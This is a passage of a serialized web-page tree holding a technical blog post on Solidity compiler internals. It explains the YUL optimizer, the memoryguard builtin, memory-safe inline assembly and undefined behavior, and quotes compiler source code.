",{"type":22,"tag":42,"props":31200,"children":31203},{"href":31201,"rel":31202},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[46],[31204],{"type":28,"value":31205},"YulStack::optimize",{"type":28,"value":12991},{"type":22,"tag":42,"props":31208,"children":31211},{"href":31209,"rel":31210},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[46],[31212],{"type":28,"value":31213},"Assembly::optimize",{"type":28,"value":292},{"type":22,"tag":31,"props":31216,"children":31217},{},[31218],{"type":28,"value":31219},"In total, there are four steps.",{"type":22,"tag":4029,"props":31221,"children":31222},{},[31223,31227,31232,31236],{"type":22,"tag":68,"props":31224,"children":31225},{},[31226],{"type":28,"value":31040},{"type":22,"tag":68,"props":31228,"children":31229},{},[31230],{"type":28,"value":31231},"Optimization of YUL IR",{"type":22,"tag":68,"props":31233,"children":31234},{},[31235],{"type":28,"value":31045},{"type":22,"tag":68,"props":31237,"children":31238},{},[31239],{"type":28,"value":31240},"Optimization of EVM opcodes",{"type":22,"tag":31,"props":31242,"children":31243},{},[31244],{"type":28,"value":31245},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":22,"tag":1269,"props":31247,"children":31248},{},[31249],{"type":22,"tag":31,"props":31250,"children":31251},{},[31252],{"type":28,"value":31253},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":22,"tag":31,"props":31255,"children":31256},{},[31257],{"type":28,"value":31258},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":22,"tag":31,"props":31260,"children":31261},{},[31262],{"type":28,"value":31263},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":22,"tag":31,"props":31265,"children":31266},{},[31267],{"type":28,"value":31268},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":22,"tag":23,"props":31270,"children":31272},{"id":31271},"guarantees",[31273],{"type":28,"value":31274},"Guarantees",{"type":22,"tag":31,"props":31276,"children":31277},{},[31278,31279,31286,31288,31293],{"type":28,"value":2743},{"type":22,"tag":42,"props":31280,"children":31283},{"href":31281,"rel":31282},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[46],[31284],{"type":28,"value":31285},"Solidity memory layout",{"type":28,"value":31287}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":22,"tag":4764,"props":31289,"children":31290},{},[31291],{"type":28,"value":31292},"no information about this layout",{"type":28,"value":292},{"type":22,"tag":31,"props":31295,"children":31296},{},[31297],{"type":28,"value":31298},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":22,"tag":31,"props":31300,"children":31301},{},[31302,31304,31310,31312,31318],{"type":28,"value":31303},"Introducing ",{"type":22,"tag":114,"props":31305,"children":31307},{"className":31306},[],[31308],{"type":28,"value":31309},"memoryguard",{"type":28,"value":31311},". If you've ever looked at the output of ",{"type":22,"tag":114,"props":31313,"children":31315},{"className":31314},[],[31316],{"type":28,"value":31317},"solc --ir",{"type":28,"value":31319},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":22,"tag":107,"props":31321,"children":31323},{"className":6487,"code":31322,"language":6486,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[31324],{"type":22,"tag":114,"props":31325,"children":31326},{"__ignoreMap":7},[31327,31345],{"type":22,"tag":118,"props":31328,"children":31329},{"class":120,"line":121},[31330,31335,31340],{"type":22,"tag":118,"props":31331,"children":31332},{"style":257},[31333],{"type":28,"value":31334},"    /// @src 0:26:371  \"contract ",{"type":22,"tag":118,"props":31336,"children":31337},{"style":146},[31338],{"type":28,"value":31339},"XXX",{"type":22,"tag":118,"props":31341,"children":31342},{"style":257},[31343],{"type":28,"value":31344}," {...\"\n",{"type":22,"tag":118,"props":31346,"children":31347},{"class":120,"line":142},[31348,31353,31357,31362,31366,31370,31374,31379],{"type":22,"tag":118,"props":31349,"children":31350},{"style":532},[31351],{"type":28,"value":31352},"    store",{"type":22,"tag":118,"props":31354,"children":31355},{"style":125},[31356],{"type":28,"value":540},{"type":22,"tag":118,"props":31358,"children":31359},{"style":674},[31360],{"type":28,"value":31361},"64",{"type":22,"tag":118,"props":31363,"children":31364},{"style":125},[31365],{"type":28,"value":231},{"type":22,"tag":118,"props":31367,"children":31368},{"style":532},[31369],{"type":28,"value":31309},{"type":22,"tag":118,"props":31371,"children":31372},{"style":125},[31373],{"type":28,"value":540},{"type":22,"tag":118,"props":31375,"children":31376},{"style":674},[31377],{"type":28,"value":31378},"0x80",{"type":22,"tag":118,"props":31380,"children":31381},{"style":125},[31382],{"type":28,"value":3334},{"type":22,"tag":31,"props":31384,"children":31385},{},[31386,31388,31395],{"type":28,"value":31387},"From ",{"type":22,"tag":42,"props":31389,"children":31392},{"href":31390,"rel":31391},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[46],[31393],{"type":28,"value":31394},"the documentation",{"type":28,"value":6139},{"type":22,"tag":1269,"props":31397,"children":31398},{},[31399],{"type":22,"tag":31,"props":31400,"children":31401},{},[31402,31404,31410,31412,31418,31420,31425],{"type":28,"value":31403},"The caller of ",{"type":22,"tag":114,"props":31405,"children":31407},{"className":31406},[],[31408],{"type":28,"value":31409},"let ptr := memoryguard(size)",{"type":28,"value":31411}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":22,"tag":114,"props":31413,"children":31415},{"className":31414},[],[31416],{"type":28,"value":31417},"[0, size)",{"type":28,"value":31419}," or the unbounded range starting at ",{"type":22,"tag":114,"props":31421,"children":31423},{"className":31422},[],[31424],{"type":28,"value":15933},{"type":28,"value":292},{"type":22,"tag":31,"props":31427,"children":31428},{},[31429,31431,31436,31438,31444],{"type":28,"value":31430},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":22,"tag":114,"props":31432,"children":31434},{"className":31433},[],[31435],{"type":28,"value":31309},{"type":28,"value":31437}," return ",{"type":22,"tag":114,"props":31439,"children":31441},{"className":31440},[],[31442],{"type":28,"value":31443},"size + 32",{"type":28,"value":31445},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":22,"tag":31,"props":31447,"children":31448},{},[31449,31451,31458,31460,31465,31467,31472],{"type":28,"value":31450},"An example of this optimization in practice ",{"type":22,"tag":42,"props":31452,"children":31455},{"href":31453,"rel":31454},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[46],[31456],{"type":28,"value":31457},"is the StackLimitEvader",{"type":28,"value":31459},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":22,"tag":4764,"props":31461,"children":31462},{},[31463],{"type":28,"value":31464},"only",{"type":28,"value":31466}," optimization pass that relies on the semantic information communicated by ",{"type":22,"tag":114,"props":31468,"children":31470},{"className":31469},[],[31471],{"type":28,"value":31309},{"type":28,"value":292},{"type":22,"tag":31,"props":31474,"children":31475},{},[31476],{"type":28,"value":31477},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":22,"tag":31,"props":31479,"children":31480},{},[31481,31483,31489],{"type":28,"value":31482},"Fear not, for we can remove this pointer entirely and call ",{"type":22,"tag":114,"props":31484,"children":31486},{"className":31485},[],[31487],{"type":28,"value":31488},"memoryguard(0x60)",{"type":28,"value":31490}," instead. The rest of the pipeline will still work.",{"type":22,"tag":23,"props":31492,"children":31493},{"id":31002},[31494],{"type":28,"value":31495},"Memory Safety",{"type":22,"tag":31,"props":31497,"children":31498},{},[31499],{"type":28,"value":31500},"So what does memory safety mean?",{"type":22,"tag":31,"props":31502,"children":31503},{},[31504,31506,31512],{"type":28,"value":31505},"The Solidity documentation provides ",{"type":22,"tag":42,"props":31507,"children":31509},{"href":30977,"rel":31508},[46],[31510],{"type":28,"value":31511},"a set of constraints",{"type":28,"value":31513},", not a definition.",{"type":22,"tag":1269,"props":31515,"children":31516},{},[31517,31522],{"type":22,"tag":31,"props":31518,"children":31519},{},[31520],{"type":28,"value":31521},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":22,"tag":4029,"props":31523,"children":31524},{},[31525,31530,31535,31540],{"type":22,"tag":68,"props":31526,"children":31527},{},[31528],{"type":28,"value":31529},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":22,"tag":68,"props":31531,"children":31532},{},[31533],{"type":28,"value":31534},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":22,"tag":68,"props":31536,"children":31537},{},[31538],{"type":28,"value":31539},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":22,"tag":68,"props":31541,"children":31542},{},[31543],{"type":28,"value":31544},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":22,"tag":31,"props":31546,"children":31547},{},[31548,31550,31557,31567],{"type":28,"value":31549},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":22,"tag":42,"props":31551,"children":31554},{"href":31552,"rel":31553},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[46],[31555],{"type":28,"value":31556},"removes the memory guard",{"type":22,"tag":17448,"props":31558,"children":31559},{},[31560],{"type":22,"tag":42,"props":31561,"children":31565},{"href":31562,"ariaDescribedBy":31563,"dataFootnoteRef":7,"id":31564},"#user-content-fn-1",[17455],"user-content-fnref-1",[31566],{"type":28,"value":6026},{"type":28,"value":292},{"type":22,"tag":107,"props":31569,"children":31571},{"className":31048,"code":31570,"language":31050,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[31572],{"type":22,"tag":114,"props":31573,"children":31574},{"__ignoreMap":7},[31575,31583,31591,31598,31633,31640,31648,31656,31664,31672,31680,31693,31706,31714],{"type":22,"tag":118,"props":31576,"children":31577},{"class":120,"line":121},[31578],{"type":22,"tag":118,"props":31579,"children":31580},{"style":257},[31581],{"type":28,"value":31582},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":22,"tag":118,"props":31584,"children":31585},{"class":120,"line":142},[31586],{"type":22,"tag":118,"props":31587,"children":31588},{"style":257},[31589],{"type":28,"value":31590},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":22,"tag":118,"props":31592,"children":31593},{"class":120,"line":177},[31594],{"type":22,"tag":118,"props":31595,"children":31596},{"emptyLinePlaceholder":15},[31597],{"type":28,"value":250},{"type":22,"tag":118,"props":31599,"children":31600},{"class":120,"line":195},[31601,31606,31611,31616,31620,31624,31629],{"type":22,"tag":118,"props":31602,"children":31603},{"style":131},[31604],{"type":28,"value":31605},"string",{"type":22,"tag":118,"props":31607,"children":31608},{"style":125},[31609],{"type":28,"value":31610}," IRGenerator::",{"type":22,"tag":118,"props":31612,"children":31613},{"style":532},[31614],{"type":28,"value":31615},"memoryInit",{"type":22,"tag":118,"props":31617,"children":31618},{"style":125},[31619],{"type":28,"value":540},{"type":22,"tag":118,"props":31621,"children":31622},{"style":146},[31623],{"type":28,"value":3065},{"type":22,"tag":118,"props":31625,"children":31626},{"style":204},[31627],{"type":28,"value":31628}," _useMemoryGuard",{"type":22,"tag":118,"props":31630,"children":31631},{"style":125},[31632],{"type":28,"value":3665},{"type":22,"tag":118,"props":31634,"children":31635},{"class":120,"line":244},[31636],{"type":22,"tag":118,"props":31637,"children":31638},{"style":125},[31639],{"type":28,"value":12879},{"type":22,"tag":118,"props":31641,"children":31642},{"class":120,"line":253},[31643],{"type":22,"tag":118,"props":31644,"children":31645},{"style":257},[31646],{"type":28,"value":31647}," // This function should be called at the beginning of the EVM call frame\n",{"type":22,"tag":118,"props":31649,"children":31650},{"class":120,"line":263},[31651],{"type":22,"tag":118,"props":31652,"children":31653},{"style":257},[31654],{"type":28,"value":31655}," // and thus can assume all memory to be zero, including the contents of\n",{"type":22,"tag":118,"props":31657,"children":31658},{"class":120,"line":318},[31659],{"type":22,"tag":118,"props":31660,"children":31661},{"style":257},[31662],{"type":28,"value":31663}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":22,"tag":118,"props":31665,"children":31666},{"class":120,"line":351},[31667],{"type":22,"tag":118,"props":31668,"children":31669},{"style":1480},[31670],{"type":28,"value":31671}," return\n",{"type":22,"tag":118,"props":31673,"children":31674},{"class":120,"line":359},[31675],{"type":22,"tag":118,"props":31676,"children":31677},{"style":125},[31678],{"type":28,"value":31679},"  Whiskers{\n",{"type":22,"tag":118,"props":31681,"children":31682},{"class":120,"line":368},[31683,31688],{"type":22,"tag":118,"props":31684,"children":31685},{"style":125},[31686],{"type":28,"value":31687},"   _useMemoryGuard ",{"type":22,"tag":118,"props":31689,"children":31690},{"style":210},[31691],{"type":28,"value":31692},"?\n",{"type":22,"tag":118,"props":31694,"children":31695},{"class":120,"line":384},[31696,31701],{"type":22,"tag":118,"props":31697,"children":31698},{"style":1866},[31699],{"type":28,"value":31700},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":22,"tag":118,"props":31702,"children":31703},{"style":210},[31704],{"type":28,"value":31705}," :\n",{"type":22,"tag":118,"props":31707,"children":31708},{"class":120,"line":417},[31709],{"type":22,"tag":118,"props":31710,"children":31711},{"style":1866},[31712],{"type":28,"value":31713},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":22,"tag":118,"props":31715,"children":31716},{"class":120,"line":425},[31717],{"type":22,"tag":118,"props":31718,"children":31719},{"style":125},[31720],{"type":28,"value":7881},{"type":22,"tag":31,"props":31722,"children":31723},{},[31724,31729,31731,31737],{"type":22,"tag":114,"props":31725,"children":31727},{"className":31726},[],[31728],{"type":28,"value":31317},{"type":28,"value":31730}," will now no longer have ",{"type":22,"tag":114,"props":31732,"children":31734},{"className":31733},[],[31735],{"type":28,"value":31736},"memoryguard(0x80)",{"type":28,"value":31738}," as expected.",{"type":22,"tag":107,"props":31740,"children":31742},{"className":6487,"code":31741,"language":6486,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[31743],{"type":22,"tag":114,"props":31744,"children":31745},{"__ignoreMap":7},[31746,31761],{"type":22,"tag":118,"props":31747,"children":31748},{"class":120,"line":121},[31749,31753,31757],{"type":22,"tag":118,"props":31750,"children":31751},{"style":257},[31752],{"type":28,"value":31334},{"type":22,"tag":118,"props":31754,"children":31755},{"style":146},[31756],{"type":28,"value":31339},{"type":22,"tag":118,"props":31758,"children":31759},{"style":257},[31760],{"type":28,"value":31344},{"type":22,"tag":118,"props":31762,"children":31763},{"class":120,"line":142},[31764,31769,31773,31777,31781,31786],{"type":22,"tag":118,"props":31765,"children":31766},{"style":532},[31767],{"type":28,"value":31768},"    mstore",{"type":22,"tag":118,"props":31770,"children":31771},{"style":125},[31772],{"type":28,"value":540},{"type":22,"tag":118,"props":31774,"children":31775},{"style":674},[31776],{"type":28,"value":31361},{"type":22,"tag":118,"props":31778,"children":31779},{"style":125},[31780],{"type":28,"value":231},{"type":22,"tag":118,"props":31782,"children":31783},{"style":674},[31784],{"type":28,"value":31785},"128",{"type":22,"tag":118,"props":31787,"children":31788},{"style":125},[31789],{"type":28,"value":3665},{"type":22,"tag":31,"props":31791,"children":31792},{},[31793,31795,31800,31802,31807],{"type":28,"value":31794},"Semantically, the absence of ",{"type":22,"tag":114,"props":31796,"children":31798},{"className":31797},[],[31799],{"type":28,"value":31309},{"type":28,"value":31801}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":22,"tag":114,"props":31803,"children":31805},{"className":31804},[],[31806],{"type":28,"value":31309},{"type":28,"value":31808}," invariant.",{"type":22,"tag":1269,"props":31810,"children":31811},{},[31812],{"type":22,"tag":31,"props":31813,"children":31814},{},[31815,31816,31821,31822,31827,31828,31833],{"type":28,"value":31403},{"type":22,"tag":114,"props":31817,"children":31819},{"className":31818},[],[31820],{"type":28,"value":31409},{"type":28,"value":31411},{"type":22,"tag":114,"props":31823,"children":31825},{"className":31824},[],[31826],{"type":28,"value":31417},{"type":28,"value":31419},{"type":22,"tag":114,"props":31829,"children":31831},{"className":31830},[],[31832],{"type":28,"value":15933},{"type":28,"value":292},{"type":22,"tag":31,"props":31835,"children":31836},{},[31837],{"type":28,"value":31838},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":22,"tag":23,"props":31840,"children":31842},{"id":31841},"undefined-behavior",[31843],{"type":28,"value":31844},"Undefined Behavior",{"type":22,"tag":31,"props":31846,"children":31847},{},[31848,31850,31855,31857,31862,31864,31870],{"type":28,"value":31849},"How strict is memory safety? When it comes to ",{"type":22,"tag":114,"props":31851,"children":31853},{"className":31852},[],[31854],{"type":28,"value":31309},{"type":28,"value":31856},", only touching memory after 0x80 seems to matter. Is ",{"type":22,"tag":114,"props":31858,"children":31860},{"className":31859},[],[31861],{"type":28,"value":30967},{"type":28,"value":31863}," annotated assembly that touches memory at ",{"type":22,"tag":114,"props":31865,"children":31867},{"className":31866},[],[31868],{"type":28,"value":31869},"[0x40, 0x7f]",{"type":28,"value":31871}," really safe?",{"type":22,"tag":31,"props":31873,"children":31874},{},[31875,31876,31883,31885,31890],{"type":28,"value":2743},{"type":22,"tag":42,"props":31877,"children":31880},{"href":31878,"rel":31879},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[46],[31881],{"type":28,"value":31882},"Solidity documentation",{"type":28,"value":31884}," mentions ",{"type":22,"tag":4764,"props":31886,"children":31887},{},[31888],{"type":28,"value":31889},"undefined behavior",{"type":28,"value":31891}," three times.",{"type":22,"tag":4029,"props":31893,"children":31894},{},[31895,31900,31915],{"type":22,"tag":68,"props":31896,"children":31897},{},[31898],{"type":28,"value":31899},"The existence of a dangling reference",{"type":22,"tag":68,"props":31901,"children":31902},{},[31903,31905],{"type":28,"value":31904},"Using verbatim improperly",{"type":22,"tag":17448,"props":31906,"children":31907},{},[31908],{"type":22,"tag":42,"props":31909,"children":31913},{"href":31910,"ariaDescribedBy":31911,"dataFootnoteRef":7,"id":31912},"#user-content-fn-2",[17455],"user-content-fnref-2",[31914],{"type":28,"value":5147},{"type":22,"tag":68,"props":31916,"children":31917},{},[31918],{"type":28,"value":31919},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":22,"tag":31,"props":31921,"children":31922},{},[31923],{"type":28,"value":31924},"Why does this matter?",{"type":22,"tag":31,"props":31926,"children":31927},{},[31928,31930,31937,31939,31946],{"type":28,"value":31929},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":22,"tag":42,"props":31931,"children":31934},{"href":31932,"rel":31933},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[46],[31935],{"type":28,"value":31936},"signed integer overflow is undefined",{"type":28,"value":31938},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":22,"tag":42,"props":31940,"children":31943},{"href":31941,"rel":31942},"https://blog.regehr.org/archives/1307",[46],[31944],{"type":28,"value":31945},"years down the line",{"type":28,"value":292},{"type":22,"tag":31,"props":31948,"children":31949},{},[31950,31952,31959,31960,31965],{"type":28,"value":31951},"Going back to Solidity, the specification makes ",{"type":22,"tag":42,"props":31953,"children":31956},{"href":31954,"rel":31955},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[46],[31957],{"type":28,"value":31958},"it unambiguously clear",{"type":28,"value":20498},{"type":22,"tag":4764,"props":31961,"children":31962},{},[31963],{"type":28,"value":31964},"Thou shalt not modify the zero slot",{"type":28,"value":292},{"type":22,"tag":1269,"props":31967,"children":31968},{},[31969],{"type":22,"tag":31,"props":31970,"children":31971},{},[31972],{"type":28,"value":31973},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":22,"tag":31,"props":31975,"children":31976},{},[31977,31979,31984],{"type":28,"value":31978},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":22,"tag":4764,"props":31980,"children":31981},{},[31982],{"type":28,"value":31983},"in Solidity",{"type":28,"value":292},{"type":22,"tag":31,"props":31986,"children":31987},{},[31988],{"type":28,"value":31989},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":22,"tag":4029,"props":31991,"children":31992},{},[31993],{"type":22,"tag":68,"props":31994,"children":31995},{},[31996,31998,32005],{"type":28,"value":31997},"It very clearly ",{"type":22,"tag":42,"props":31999,"children":32002},{"href":32000,"rel":32001},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[46],[32003],{"type":28,"value":32004},"holds true today",{"type":28,"value":292},{"type":22,"tag":107,"props":32007,"children":32009},{"className":31048,"code":32008,"language":31050,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[32010],{"type":22,"tag":114,"props":32011,"children":32012},{"__ignoreMap":7},[32013,32053,32060,32073,32145,32166,32217,32224],{"type":22,"tag":118,"props":32014,"children":32015},{"class":120,"line":121},[32016,32020,32025,32030,32034,32039,32044,32049],{"type":22,"tag":118,"props":32017,"children":32018},{"style":146},[32019],{"type":28,"value":3065},{"type":22,"tag":118,"props":32021,"children":32022},{"style":125},[32023],{"type":28,"value":32024}," IRGeneratorForStatements::",{"type":22,"tag":118,"props":32026,"children":32027},{"style":532},[32028],{"type":28,"value":32029},"visit",{"type":22,"tag":118,"props":32031,"children":32032},{"style":125},[32033],{"type":28,"value":540},{"type":22,"tag":118,"props":32035,"children":32036},{"style":131},[32037],{"type":28,"value":32038},"InlineAssembly",{"type":22,"tag":118,"props":32040,"children":32041},{"style":146},[32042],{"type":28,"value":32043}," const&",{"type":22,"tag":118,"props":32045,"children":32046},{"style":204},[32047],{"type":28,"value":32048}," _inlineAsm",{"type":22,"tag":118,"props":32050,"children":32051},{"style":125},[32052],{"type":28,"value":3665},{"type":22,"tag":118,"props":32054,"children":32055},{"class":120,"line":142},[32056],{"type":22,"tag":118,"props":32057,"children":32058},{"style":125},[32059],{"type":28,"value":12879},{"type":22,"tag":118,"props":32061,"children":32062},{"class":120,"line":177},[32063,32068],{"type":22,"tag":118,"props":32064,"children":32065},{"style":532},[32066],{"type":28,"value":32067},"    setLocation",{"type":22,"tag":118,"props":32069,"children":32070},{"style":125},[32071],{"type":28,"value":32072},"(_inlineAsm);\n",{"type":22,"tag":118,"props":32074,"children":32075},{"class":120,"line":195},[32076,32080,32084,32088,32093,32097,32102,32107,32112,32116,32120,32124,32128,32132,32136,32141],{"type":22,"tag":118,"props":32077,"children":32078},{"style":1480},[32079],{"type":28,"value":2159},{"type":22,"tag":118,"props":32081,"children":32082},{"style":125},[32083],{"type":28,"value":842},{"type":22,"tag":118,"props":32085,"children":32086},{"style":210},[32087],{"type":28,"value":671},{"type":22,"tag":118,"props":32089,"children":32090},{"style":204},[32091],{"type":28,"value":32092},"_inlineAsm",{"type":22,"tag":118,"props":32094,"children":32095},{"style":125},[32096],{"type":28,"value":292},{"type":22,"tag":118,"props":32098,"children":32099},{"style":532},[32100],{"type":28,"value":32101},"annotation",{"type":22,"tag":118,"props":32103,"children":32104},{"style":125},[32105],{"type":28,"value":32106},"().",{"type":22,"tag":118,"props":32108,"children":32109},{"style":204},[32110],{"type":28,"value":32111},"hasMemoryEffects",{"type":22,"tag":118,"props":32113,"children":32114},{"style":210},[32115],{"type":28,"value":1789},{"type":22,"tag":118,"props":32117,"children":32118},{"style":210},[32119],{"type":28,"value":2164},{"type":22,"tag":118,"props":32121,"children":32122},{"style":204},[32123],{"type":28,"value":32092},{"type":22,"tag":118,"props":32125,"children":32126},{"style":125},[32127],{"type":28,"value":292},{"type":22,"tag":118,"props":32129,"children":32130},{"style":532},[32131],{"type":28,"value":32101},{"type":22,"tag":118,"props":32133,"children":32134},{"style":125},[32135],{"type":28,"value":32106},{"type":22,"tag":118,"props":32137,"children":32138},{"style":204},[32139],{"type":28,"value":32140},"markedMemorySafe",{"type":22,"tag":118,"props":32142,"children":32143},{"style":125},[32144],{"type":28,"value":3665},{"type":22,"tag":118,"props":32146,"children":32147},{"class":120,"line":244},[32148,32153,32157,32162],{"type":22,"tag":118,"props":32149,"children":32150},{"style":204},[32151],{"type":28,"value":32152},"        m_context",{"type":22,"tag":118,"props":32154,"children":32155},{"style":125},[32156],{"type":28,"value":292},{"type":22,"tag":118,"props":32158,"children":32159},{"style":532},[32160],{"type":28,"value":32161},"setMemoryUnsafeInlineAssemblySeen",{"type":22,"tag":118,"props":32163,"children":32164},{"style":125},[32165],{"type":28,"value":1098},{"type":22,"tag":118,"props":32167,"children":32168},{"class":120,"line":253},[32169,32174,32178,32182,32187,32192,32196,32200,32204,32208,32213],{"type":22,"tag":118,"props":32170,"children":32171},{"style":125},[32172],{"type":28,"value":32173},"    CopyTranslate bodyCopier{",{"type":22,"tag":118,"props":32175,"children":32176},{"style":204},[32177],{"type":28,"value":32092},{"type":22,"tag":118,"props":32179,"children":32180},{"style":125},[32181],{"type":28,"value":292},{"type":22,"tag":118,"props":32183,"children":32184},{"style":532},[32185],{"type":28,"value":32186},"dialect",{"type":22,"tag":118,"props":32188,"children":32189},{"style":125},[32190],{"type":28,"value":32191},"(), m_context, ",{"type":22,"tag":118,"props":32193,"children":32194},{"style":204},[32195],{"type":28,"value":32092},{"type":22,"tag":118,"props":32197,"children":32198},{"style":125},[32199],{"type":28,"value":292},{"type":22,"tag":118,"props":32201,"children":32202},{"style":532},[32203],{"type":28,"value":32101},{"type":22,"tag":118,"props":32205,"children":32206},{"style":125},[32207],{"type":28,"value":32106},{"type":22,"tag":118,"props":32209,"children":32210},{"style":204},[32211],{"type":28,"value":32212},"externalReferences",{"type":22,"tag":118,"props":32214,"children":32215},{"style":125},[32216],{"type":28,"value":4277},{"type":22,"tag":118,"props":32218,"children":32219},{"class":120,"line":263},[32220],{"type":22,"tag":118,"props":32221,"children":32222},{"emptyLinePlaceholder":15},[32223],{"type":28,"value":250},{"type":22,"tag":118,"props":32225,"children":32226},{"class":120,"line":318},[32227,32232,32236,32241,32245,32249,32253,32258],{"type":22,"tag":118,"props":32228,"children":32229},{"style":125},[32230],{"type":28,"value":32231},"    yul::Statement modified ",{"type":22,"tag":118,"props":32233,"children":32234},{"style":210},[32235],{"type":28,"value":282},{"type":22,"tag":118,"props":32237,"children":32238},{"style":532},[32239],{"type":28,"value":32240}," bodyCopier",{"type":22,"tag":118,"props":32242,"children":32243},{"style":125},[32244],{"type":28,"value":540},{"type":22,"tag":118,"props":32246,"children":32247},{"style":204},[32248],{"type":28,"value":32092},{"type":22,"tag":118,"props":32250,"children":32251},{"style":125},[32252],{"type":28,"value":292},{"type":22,"tag":118,"props":32254,"children":32255},{"style":532},[32256],{"type":28,"value":32257},"operations",{"type":22,"tag":118,"props":32259,"children":32260},{"style":125},[32261],{"type":28,"value":32262},"());`\n",{"type":22,"tag":4029,"props":32264,"children":32265},{"start":142},[32266],{"type":22,"tag":68,"props":32267,"children":32268},{},[32269],{"type":28,"value":32270},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":22,"tag":31,"props":32272,"children":32273},{},[32274],{"type":28,"value":32275},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":22,"tag":23,"props":32277,"children":32278},{"id":7321},[32279],{"type":28,"value":7324},{"type":22,"tag":31,"props":32281,"children":32282},{},[32283],{"type":28,"value":32284},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":22,"tag":31,"props":32286,"children":32287},{},[32288],{"type":28,"value":32289},"It's a promise between YUL generation and 